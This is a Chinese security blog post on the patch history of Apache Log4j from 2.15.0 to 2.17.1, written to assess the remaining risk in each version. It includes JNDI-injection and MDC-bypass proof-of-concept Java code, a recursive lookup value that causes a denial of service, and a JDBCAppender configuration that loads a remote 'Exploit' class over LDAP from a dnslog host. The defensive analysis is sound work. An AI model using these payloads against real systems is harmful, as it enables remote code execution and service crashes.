log4j官方漏洞修复史(更新至2.17.1/CVE-2021-44832)

这篇具有很好参考价值的文章主要介绍了log4j官方漏洞修复史(更新至2.17.1/CVE-2021-44832)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

0x00 前言

自从log4j2.14.1版本爆出漏洞后,官方截止目前为止,共发布了3个稳定版本,分别是15.0、16.0、17.0。
本篇文章就分析一下每个版本都做了哪些事情,以此来评估每个版本升级的必要性。
分割线---------------------------------------------------------------------------------------
在28号晚上,log4j又修复了一个“RCE漏洞”(CVE-2021-44832),之所以RCE要打引号,是因为严谨一些说的话,这个其实不能算个漏洞,这个CVE的分析详情在3.2节。

0x01 2.15.0版本

1.1 修复方案

此版本是为了修复最初的 CVE-2021-44228漏洞,它的修复方式总结如下:
1、默认禁用msg lookup功能
2、在org.apache.logging.log4j.core.net.JndiManager#lookup方法中限制了ldap服务的host只能为本地ip、对javaClassName属性做了限制、且不允许ldap服务返回javaFactory属性。

1.2 遗留问题

上述第2点的防御措施可被绕过,绕过原理也比较简单,绕过详情可阅读4ra1n师傅的分析文章。
但如果要利用此漏洞,一般有如下两种情景:
1、开启msg lookup功能:
(1)在log4j2.xml中进行如下配置,即可开启lookup功能:

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="OFF" monitorInterval="30">
    <appenders>
        <console name="CONSOLE" target="SYSTEM_OUT">
            <PatternLayout pattern="%msg{lookups}%n"/>
        </console>
    </appenders>
    <Loggers>
        <Root level="error">
            <AppenderRef ref="CONSOLE"/>
        </Root>
    </Loggers>
</Configuration>

(2)如下代码即可触发漏洞:

public class Main {
    public static void main(String[] args){
        Logger logger = LogManager.getLogger(Main.class);
        logger.error("${jndi:ldap://127.0.0.1}");
    }
}

2、通过MDC进行攻击:
上述修复方案中的第1个方案,禁用msg lookup功能,在以下场景是无效的:
当配置文件中使用带有Context Lookup的非默认的Pattern Layout 配置时,且外部可控数据会被保存到Thread Context Map (MDC)中时,即可触发jndi注入。
(1)如下在log4j2.xml中配置自定义的Pattern Layout:

<Configuration status="OFF" monitorInterval="30">
    <Appenders>
        <Console name="CONSOLE" target="SYSTEM_OUT">
            <PatternLayout>
                <pattern>%d %p %c{1.} [%t] $${ctx:loginId} %m%n</pattern>
            </PatternLayout>
        </Console>
    </Appenders>
    <Loggers>
        <Root level="error">
            <AppenderRef ref="CONSOLE"/>
        </Root>
    </Loggers>
</Configuration>

(2)如下当MDC中的loginId值是外部可控时,即可被jndi注入攻击(只有在mac系统中运行以下代码,才能收到dnslog请求,在windows和linux系统中,以下poc只能绕过host的检测,无法进行后续攻击):

public class Main {

    public static void main(String[] args){
        Logger logger = LogManager.getLogger(Main.class);
        String dnslog = args[0];
        String poc = String.format("${jndi:ldap://127.0.0.1#.%s}", dnslog);
        System.out.println("poc: "+ poc);
        ThreadContext.put("loginId", poc);
        logger.error("${jndi:ldap://127.0.0.1} xxx");
    }
}

1.3 总结

1、如果业务线使用log4j时,没有做任何的自定义配置,那么15.0版本既没有dos的问题,也没有rce的问题。
2、如果业务线存在上述两种攻击场景中的任意一种情况,那么:
(1)如果服务部署在windows、linux系统中,只存在被dos攻击的风险,无rce风险。
(2)如果服务部署在macos系统中,既存在被dos攻击的风险,也存在rce风险(即使存在rce风险,但此时已经无法利用最容易进行代码执行攻击的javaFactory属性进行攻击,只能通过反序列化漏洞进行攻击,因此只有系统中存在可利用的gadget链时才能rce成功)。

0x02 2.16.0版本

2.1 修复方案

1、加入了一个是否启用jndi的开关(log4j2.enableJndi属性),且默认是禁用的。
2、彻底移除了msg lookup功能。

2.2 遗留问题

1、启用jndi功能
虽然此版本彻底移除了msg lookup功能,但是在启用jndi功能的情况下,仍然可以利用上述1.2节中的第2点进行攻击。
log4j2.xml中依然采用1.2节中第2点中所示的配置,java代码如下,此时依然存在1.3节中第2点描述的问题:

public class Main {

    public static void main(String[] args) throws Exception{
        System.setProperty("log4j2.enableJndi", "true");
        System.out.println(JndiManager.isJndiEnabled());
        Logger logger = LogManager.getLogger(Main.class);
        String dnslog = args[0];
        String poc = String.format("${jndi:ldap://127.0.0.1#.%s}", dnslog);
        System.out.println("poc: "+ poc);
        ThreadContext.put("loginId", poc);
        logger.error("xxx");
    }
}

2、通过MDC进行dos攻击
当系统未开启jndi功能时,使用如下代码即可进行dos攻击(log4j2.xml中依然采用1.2节中第2点中所示的配置):

public class Main {

    public static void main(String[] args) throws Exception{
        Logger logger = LogManager.getLogger(Main.class)    ;
        ThreadContext.put("loginId", "${${ctx:loginId}}");
        logger.error("xxx");
    }
}

出现漏洞的代码位于org.apache.logging.log4j.core.lookup.StrSubstitutor#substitute(org.apache.logging.log4j.core.LogEvent, java.lang.StringBuilder, int, int, java.util.List<java.lang.String>)方法中:
Pattern Layout配置中的${ctx:loginId}被解析为${${ctx:loginId}}后,${${ctx:loginId}}变量又会被进行递归substitute操作,其中的${ctx:loginId}又被解析为了${${ctx:loginId}},因此导致了无限递归,从而导致进程崩溃。
log4j官方漏洞修复史(更新至2.17.1/CVE-2021-44832)

2.3 总结

1、2.16.0版本可以看做是2.15.0版本的增强版,通过引入log4j2.enableJndi属性,进一步降低了被rce的风险。
2、同2.15.0一样,如果业务线使用log4j时,没有做任何的自定义配置,那么16.0版本既没有dos的问题,也没有rce的问题。

0x03 2.17.0版本

3.1 修复方案

1、使用RuntimeStrSubstitutor类进行substitute操作时,不允许进行递归substitute操作,修复了dos漏洞:
log4j官方漏洞修复史(更新至2.17.1/CVE-2021-44832)

2、限制了jndi协议只能为java协议,移除了ldap协议,修复了上述1.2节中描述的绕过问题(虽然该绕过比较鸡肋)
log4j官方漏洞修复史(更新至2.17.1/CVE-2021-44832)

3.2 遗留问题

当配置文件log4j2.xml可以被攻击者控制时(目前能想到的控制手段就是利用系统中已经存在的任意文件上传漏洞或者任意代码执行漏洞。。。),通过配置JDBCAppender属性,即可进行JNDI注入攻击:

<Configuration status="error">
    <Appenders>
        <JDBC name="databaseAppender" tableName="dbo.application_log">
            <DataSource jndiName="ldap://nsp9xs.dnslog.cn/Exploit" />
        </JDBC>
    </Appenders>
</Configuration>

这时大家可能会有疑问,就是从2.16开始,其实已经默认禁用了JNDI功能,但是为什么在默认情况下,上述的JNDI注入还可以攻击成功呢?追到lookup执行处就一目了然了,代码位于org.apache.logging.log4j.core.appender.db.jdbc.DataSourceConnectionSource#createConnectionSource处,可以看到这里是直接new了一个InitialContext对象执行的lookup,并没有通过JndiManager去执行lookup功能,而在2.16添加的enableJndi属性仅仅对受JndiManager管理的资源有用。因此这里的lookup并不受enableJndi属性的管理,因此可在默认情况下进行JNDI注入攻击:
log4j官方漏洞修复史(更新至2.17.1/CVE-2021-44832)

3.3 总结

1、由于2.17版本禁用了递归substitute的操作,因此即使MDC的数据是外部可控的,其中的表达式也不会再被解析。
2、JndiManager中的lookup功能仅支持java协议,因此即使存在通过MDC进行JNDI注入攻击的漏洞,那攻击者也无法利用诸如rmi、ldap等协议进行攻击了。
3、在对JDBCAppender属性值进行lookup时,由于这里的lookup不受JndiManager管理,因此不受enableJndi属性的限制。

0x04 2.17.1版本

虽然CVE-2021-44832漏洞利用条件很苛刻,按理来说不能算个漏洞,但是官方还是发布了2.17.1版本进行了修复。

4.1 修复方案

修复方案很简单:
1、不再通过随意new一个InitialContext对象去执行lookup操作,而是通过JndiManager去执行
2、添加了一个是否开启对于jdbc的jndi功能的属性enableJndiJdbc
log4j官方漏洞修复史(更新至2.17.1/CVE-2021-44832)

4.2 总结

CVE-2021-44832漏洞过于鸡肋,2.17.0的用户完全没有必要升级到2.17.1

0x05 总结

1、2.17.0版本是目前相对安全的版本,如果升级log4j对业务影响不大,当然升级到最新版是最佳选择。
2、如果考虑到频繁升级对业务影响较大,那么如果可以保证研发人员没有对log4j做任何自定义配置,那么2.15.0、2.16.0和2.17.0版本也是不受dos漏洞和rce漏洞影响的,也是安全的。

0x05 参考链接

https://logging.apache.org/log4j/2.x/index.html
https://xz.aliyun.com/t/10689
https://github.com/apache/logging-log4j2/compare/log4j-2.15.0-rc2…rel/2.16.0
https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/文章来源地址https://www.toymoban.com/news/detail-471208.html

到了这里,关于log4j官方漏洞修复史(更新至2.17.1/CVE-2021-44832)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包赞助服务器费用

相关文章

  • 【漏洞复现】Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)

    【漏洞复现】Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)

    感谢互联网提供分享知识与智慧,在法治的社会里,请遵守有关法律法规 说明 内容 漏洞编号 CVE-2017-5645 漏洞名称 Log4j Server 反序列化命令执行漏洞 漏洞评级 高危 影响范围 Apache Log4j 2.8.2之前的2.x版本 漏洞描述 修复方案 1.1、漏洞描述 攻击者可以通过发送一个特别制作的2进

    2024年02月05日
    浏览(7)
  • Apache Log4j Server (CVE-2017-5645) 反序列化命令执行漏洞

    Apache Log4j Server (CVE-2017-5645) 反序列化命令执行漏洞

    Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。 说明 内容 漏洞编号 CVE-2017-5645 漏洞名称 Apache Log4j Server 反序列化命令执行漏洞 漏洞评级 高危 影响范围 Apache Log4j 2.8.2之前

    2024年02月07日
    浏览(9)
  • Log4j2 - JNDI 注入漏洞复现(CVE-2021-44228)

    Log4j2 - JNDI 注入漏洞复现(CVE-2021-44228)

    Apache log4j 是 Apache 的一个开源项目, Apache log4j2 是一个 Java 的日志记录工具。该工具重写了 log4j 框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。 l

    2024年02月07日
    浏览(8)
  • Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)(漏洞复现详细过程)

    Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)(漏洞复现详细过程)

    目录 一、漏洞介绍 二、漏洞环境搭建 三、漏洞利用 四、漏洞流量特征: CVE-2017-5645 是 Apache Log4j 服务器的一个反序列化命令执行漏洞,攻击者可以利用这个漏洞通过发送精心制作的请求,远程执行命令,从而危及服务器的安全。 进入漏洞目录文件,启动漏洞环境:docker-c

    2024年02月16日
    浏览(10)
  • Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理

    Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理

    2.15.0之前版漏洞相关文章 Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(一)—开篇与基础知识 Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理 Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(三)—复现步骤(攻击方法) Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(四)—漏洞修复原理 2.15.

    2024年02月07日
    浏览(12)
  • 复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞

    复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞

    复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞 目录 前言 漏洞原理 影响范围 环境搭建漏洞复现 使用工具JNDIExploit-1.2-SNAPSHOT.jar 近期Apache Log4j2被暴露了一个严重的远程代码执行安全漏洞(CVE-2021-44228),有严重的安全风险。Apache Log4j2是一款优秀的Java日志框架, 被广泛地应用在

    2024年02月05日
    浏览(6)
  • [CVE-2021-44228]:log4j2漏洞学习与复现流程详解(vulhub环境)

    [CVE-2021-44228]:log4j2漏洞学习与复现流程详解(vulhub环境)

    刚搭好vulhub,迫不及待的来复现一下2021-2022最潮最in的漏洞log4j2,因为算是热点了面试什么的的感觉都蛮容易被问到的,这里就来整理一下这个漏洞相关信息和漏洞复现的流程。 影响版本:log4j 2.x = 2.14.1 漏洞简介 首先肯定得简单了解一下log4j2到底是什么东西,log4j2是Apache的

    2024年02月08日
    浏览(5)
  • log4j2漏洞CVE-2021-44228复现笔记(纯步骤过程,没有复杂的知识点)

    log4j2漏洞CVE-2021-44228复现笔记(纯步骤过程,没有复杂的知识点)

    前言: Apache Log4j 2 是对 Log4j 的升级,它比其前身 Log4j 1.x 提供了显着改进,并提供了 Logback 中可用的许多改进,同时修复了 Logback 架构中的一些固有问题。 2021 年 12 月,在 Apache Log4j2 中发现了一个 0-day 漏洞。Log4j 的 JNDI 支持并没有限制可以解析的名称。一些协议像rmi:和ld

    2024年02月12日
    浏览(8)
  • elasticsearch-7.13.3 升级log4j 到log4j-2.17.1

    elasticsearch-7.13.3 升级log4j 到log4j-2.17.1

    1、升级原因 log4j低版本存在严重漏洞,根据需要升级到安全版本,不一定是最新。 log4j-2.17.1 jar包下载地址https://archive.apache.org/dist/logging/log4j/2.17.1/ 2、下载后解压apache-log4j-2.17.1-bin.tar.gz 升级需要用到截图中四个jar包 3、升级 删除旧版本log4j 进入elasticsearch-7.13.3目录 $ rm -rf l

    2024年02月12日
    浏览(9)
  • log4j复现之CVE-2017-5645

    一、靶机环境的安装 1.docker环境安装 2.下载vlnhub 由于网络原因,直接到官网去下,得到的压缩文件,然后对其解压即可。 二、编译启动靶机 三、漏洞利用 1.到官网下载 ysoserial-all.jar 文件 2.注意运行的Java环境是1.7

    2024年02月16日
    浏览(17)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包